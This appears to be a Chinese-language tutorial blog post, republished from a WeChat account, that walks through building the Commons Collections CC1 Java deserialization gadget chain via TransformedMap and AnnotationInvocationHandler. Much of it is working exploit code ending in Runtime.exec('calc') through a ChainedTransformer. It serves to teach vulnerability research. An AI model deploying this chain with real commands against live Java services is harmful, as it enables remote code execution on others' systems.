前言
学java反序列化,怎么能少了对每条链的理解呢?本篇我们主要是选择CC1中的其中一条链TransformedMap进行手搓。
漏洞触发点
//获取Runtime的class
Class c = Runtime.class;
//获取getRuntime方法
Method getRuntime = c.getMethod("getRuntime");
//获取Runtime对象
Object runtime = (Runtime) getRuntime.invoke(null);
//获取exec方法
Method exec = c.getMethod("exec", String.class);
//调用exec方法
exec.invoke(runtime,"calc");
/* Java反射如果不清楚的同学可以先去学习一下Java反射然后再来学习,要不然从头懵到尾,看了等于没看。
还有因为我们最终的目的是将数据反序列化,这里的命令执行时我们要反序列化触发的点,所以我们需要找一个可以反序列化的类,而Runtime对象本身时不支持反序列化的,所以我们找到了Runtime的class
*/
new InvokerTransformer("方法名",new Class[]{方法参数类型}, new Object[]{方法参数}).transform(Object);
//可以看到,我们可以通过实例化InvokerTransformer,将参数传入,再调用他的transform方法并给transform传入对应的对象。
//下面我将上面写的反射注释掉,并把他们对应的触发点利用方式附上。
// Class c = Runtime.class;
// Method getRuntime = c.getMethod("getRuntime");
Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Object runtime = (Runtime) getRuntime.invoke(null);
Object runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
// Method exec = c.getMethod("exec", String.class);
// exec.invoke(runtime,"calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
//重点记住最后一个,因为最后一个是直接触发RCE的代码,后续我们也会用到
很简单的就将对应的触发点反射写了出来,那光写出来不行啊,怎么用呢?我们接着看谁调用了InvokerTransformer中的transform:
可以看到这里有很多,我们选择TransformedMap中的checkSetValue调用了InvokerTransformer中的transform,我们先看看checkSetValue中的参数分别是什么,来到TransformedMap的构造方法:
这里其实是实现装饰HashMap的,但是他的构造方法是protected,也就是说我们没有办法直接调用,只能是通过他内部调用。他的功能就是接收一个map进来,对他的key和value进行一些操作。我们看到checkSetValue中的valueTransforme就是通过这个构造方法传入的。
那么好,我们再看看谁调用了这个TransformedMap,最后发现再TransformedMap中还有一个静态方法decorate调用了TransformedMap:
那么我们直接从这里开始结合之前写的InvokerTransformer调用exec来先写一下利用链:
........此处省略为上面的反射代码。
//利用InvokerTransformer中的transform调用命令执行
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
//创建一个HashMap
HashMap<Object, Object> HM = new HashMap<>();
//添加到Map中
HM.put("test","test");
//调用装饰map
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
/*
解释:
首先我们需要创建一个Map来进行装饰,给Map中放置任意的值。我们的目的是通过调用decorte从而去调用TransformedMap的构造方法再调用到他的ChecksetValue方法最后调用我们的触发点InvokerTransformer中的transform方法,可能有点多,但是梳理一下还是很简单的。
正向理解:
我把具体传值的调用执行情况正向写一下,因为我们一直是反向分析正向写出来大家可能会比较好理解:
首先传入:
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
接下来会来到:
public static decorate(HM,null,invokerTransformer){
return new TransformedMap(HM,null,invokerTransformer);
}
调用构造方法:
protected TransformedMap(HM, null, invokerTransformer) {
super(HM);
this.keyTransformer = null;
this.valueTransformer = invokerTransformer;
}
调用ChecksetValue:
protected Object checkSetValue(runtime) {
return invokerTransformer.transform(runtime);
}
这样看是不是瞬间就清晰很多
*/
上面我们只是分析了checkSetValue的赋值情况,且这上述的三个方法是在同一个类当中的,并没有考虑到链条的问题,那么我们接下来再看链条问题,看一下谁调用了这个checkSetValue:
可以看到在AbstractInputCheckedMapDecorator中的MapEntry中的setValue调用了checkSetValue。
我们可以看到这里其实就是遍历Map的一个方法,但是想要触发setValue就必须遍历被装饰过的Map,也就是我们上面写的Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);,既然来到了链条的下一部分,那么我们就需要反向写一下他的利用链:
//创建一个HashMap
HashMap<Object, Object> HM = new HashMap<>();
//添加到Map中
HM.put("test","test");
//调用装饰map
Map<Object,Object> transformedmap = TransformedMap.decorate(HM, null, invokerTransformer);
//遍历被修饰过的map
for(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(runtime);
}
/*
重点!!!!!这里可能很多人已经乱了,没关系,我有解释,不要急看不懂多看几遍。
解释:
先解释一些这个增强佛如循环,在每次迭代时将transformedmap.entrySet()赋值给entry变量
Map.Entry:Entry是Map接口中的内部接口,表示Map的一对键和值。
entry:这是循环变量,用于遍历transformedmap中的条目
transformedmap:是我们传入的Map对象
entry.setValue(runtime):是将当前的value设置为runtime对象。
总结:目的是遍历transfirmedmap,并将value设置为runtime对象。
正向理解调用链:
首先我们调用Entry并传入transformedmap进行遍历:
public Object setValue(runtime) {
value = transformedmap.checkSetValue(runtime);
return entry.setValue(value);
}
由于里面调用了transformedmap.checkSetValue:
protected Object checkSetValue(runtime) {
return invokerTransformer.transform(runtime);
}
最后会来到漏洞利用点:
public Object transform(runtime) {
if (input == null) {
return null;
}
try {
Class cls = runtime.getClass();
Method method = cls.getMethod(“exec”, String.class);
return method.invoke(runtime, "calc");
*/
所以接下来我们要找谁遍历了transformedmap且同时调用了setValue,因为只有在遍历transformedmap时调用setValue才能将transformedmap传入从而触发我们的利用链。或许你会问了,这样一直找得找到什么时候?而且找到哪里才算结束?
goodquestion!!!我们并不是无厘头的在找调用链,我们只是在找调用链的过程中去寻找谁使用了readObject方法(也就是我们的入口点)所以只有我们最终找到谁不仅在链上,而且还使用了readObject才会到达链条的终点。那我们接着看谁遍历了transformedmap且调用了setValue:
这不是我们心心念念的终点吗!!!!(在readObject里遍历且调用了setValue)
这个类名很明显是动态代理过程中那个调用处理器类,老样子先看构造方法:
他接收两个参数,首先第一个type是一个继承了Annotation的Class,这个Annotation是注解,这个注解我的理解就是带@符号的类。第二个memberValues是一个Map,而且这个Map是我们可以完全控制的。那我们就可以把设计好的transformedmap传进去。
现实是美好的,在这之中还有几个小问题:
-
这个AnnotationInvocationHandler的构造方法的权限修饰符是没写的,没写默认default所以这里需要反射调用。 -
我们看到在正式调用setValue之前还有两个if判断,所以我们需要进行绕过。 -
还有一个小问题就是我们没有办法直接传入Runtime这个对象,因为他是不允许反序列化的,但是Runtime.class是可以的,这个我们在之前第一步反射调用exec的时候已经处理过了,但是还需要注意。 -
我们注意到setValue的参数并不是我们想象中的那么完美
解决第一个问题:
//第一个问题,反射调用
//因为是default,所以要通过全类名获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
//确保获取
annotationInvocationdhdlConstructor.setAccessible(true);
//传入参数
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);
这里详细解释一下传入的两个参数,先说第二个吧,第二个参数是我们上面已经构造好的transformedmap。第一个参数呢,是我们上面提到的注解,这里贴张图吧,这里主要找带有参数的注解,方便我们解决第二个问题
解决第二个问题
两个if语句通过接收我们传入的第一个参数和我们Map中的key来进行判断,具体逻辑是:
第一个if判断传入key是否为空。
第二个if判断两个参数是否可以强转。
Objecto = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);
//member问题
HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
Object o = annotationInvocationdhdlConstructor.newInstance(Target.class,transformedmap);
因为我用的是@Target,我的map中key的值为value,他和@target中的参数是相同的都是value。所以两个if也解决了
解决第三个问题
其实第三个问题我们已经在刚开始都已经解决了,这里再提一下的原因是因为在他的方法中有一个可以遍历invokerTransformer,这样我们就不用像套娃一样的套了。
他接收一个transformers的一个数组,然后递归调用整个数组,所以我们可以这样写:
//创建transformers数组
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//传入transformers数组
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//调用chainedTransformer.transform(),其实总共这里我们控制的变量只有这个chainedTransformer.transform()中的参数值。
chainedTransformer.transform(Runtime.class);
解决第四个问题
我们先跟进一下setValue看看他内部到底是怎么样实现的:
看到这里有没有一种熟悉的赶脚,再次跟进:
我们发现他最后这里调用了我们传入的chainedTransformer,也就是我们第三个问题当中的chainedTransformer,我换一种写法:
其实这里的 valueTransformer.transform(value);
就是我们 chainedTransformer.transform(Runtime.class);
那么我们只需要保证给 chainedTransformer.transform()传入的参数是Runtime.class即可。
但是这里是我们发现了一个非常有特点的函数就是ConstantTransformer.transform:
他的作用就是将input对象转换为一个值,并返回这个值。
虽然最后的那个点我们控制不了,但是如果我们通过chainedTransformer.transform();去调用他的transform那么我们也可以将整条链串起来。
//解释:
//这里可能有些人会乱,我知道你很乱,但是你先别乱,看完这段解释可能会帮助你理解
//首先我们跟进到readObject当中的setValue当中。
//我们发现实际最后实现的代码是:
valueTransformer.transform(value);
//但是这个valueTransformer.transform(value); 中的valueTransformer是我们的chainedTransformer,所以也就是说我们可以通过这个chainedTransformer去调用ConstantTransformer的transform,从而让ConstantTransformer的transform去获取Runtime.class,不就行了吗?之后就是一系列的串,看代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//看到这你会发现原来CC1是如此的简单
调用链:
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
原文始发于微信公众号(好好学Day):反序列化漏洞Java篇—CC1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论